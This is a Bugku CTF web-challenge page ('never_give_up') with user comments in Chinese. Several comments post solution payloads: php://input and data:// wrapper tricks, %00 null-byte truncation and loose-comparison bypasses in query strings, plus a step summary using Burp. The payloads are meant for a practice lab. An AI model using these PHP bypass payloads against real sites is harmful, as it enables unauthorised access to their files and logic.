never_give_upWEB 未解决

分数: 25 金币: 3
题目作者: 未知
一  血: blue
一血奖励: 1金币
解  决: 4520
提  示:
描  述:
作者:御结冰城
评论
loulegedadong 2年前

hello.php?id=0sdvdsd&a=php://input&b=.sdfasdfsdafsdfrdfgsdgasdftgssd postdata:bugku is a nice plateform!

回复 1

不懂就问 2年前

参考学习:https://blog.csdn.net/qq_36292543/article/details/136676985

回复 0

一路奔腾 2年前

POST /hello.php?id=0a&a=php://input&b=*asdfassdf 内容为:bugku is a nice plateform!

回复 0

xawm 2年前

?id=0p&b=%00114514&a=data://text/plain,bugku is a nice plateform! //id弱匹配绕过,b使用%00截断符截断语句让111在1114中且开头的字符不是4,a运用伪协议

回复 0

miaolegecui 2年前

firfox浏览器的post不能只传值,所以用php://post的方式传值点execute没反应,试试用其他方式a=data://text/plain,bugku is a nice plateform!

回复 2

1.23 2年前

flag{我就知道有人投机取巧}

回复 5

GET-lee 2年前

对于小白来说确实是个好题

回复 1

冯飞99 2年前

总结一下吧,查到源码后得到url 解码后得到base64,解码后得到url,解码后出现php源代码,查看源代码检查好规则,构建payload,bp抓包,发送给重发器,查看结果。

回复 2

2089669143 2年前

为什么我登陆到1p.html以后它直接跳转到https://www.bugku.com/,求救救我

回复 0
MiracleWolf 2年前

在跳转网页时进行bp抓包,在返回包中能看到网站后面藏了东西,然后解码。

回复 0

莴笋要种泥里 2年前

我也是,什么原因

回复 0

evens 2年前

?id=0a&b=*111111&a=data://text/plain;base64,YnVna3UgaXMgYSBuaWNlIHBsYXRlZm9ybSE=

回复 0

WriteUp

image
harry

3 金币

评分(27)

解题动态

依旧是偏爱 攻破了该题 10小时前
15955100605 攻破了该题 1天前
店晓贰 攻破了该题 2天前
喜羊羊1 攻破了该题 3天前
bugkuaccount3214 攻破了该题 4天前
莫及 攻破了该题 6天前
怎么都吃不饱 攻破了该题 8天前
笨笨笨蛋 攻破了该题 8天前
dacming9527 攻破了该题 10天前
2000005557 攻破了该题 10天前
yehlg 攻破了该题 11天前
ggtom 攻破了该题 11天前
202221410016 攻破了该题 11天前
SE_Stars 攻破了该题 13天前
ava- 攻破了该题 16天前
donk7891666 攻破了该题 16天前
lihaoweiseven 攻破了该题 17天前
汤布里伯 攻破了该题 18天前
bbbuild 攻破了该题 19天前
CTF-大王 攻破了该题 19天前
问题反馈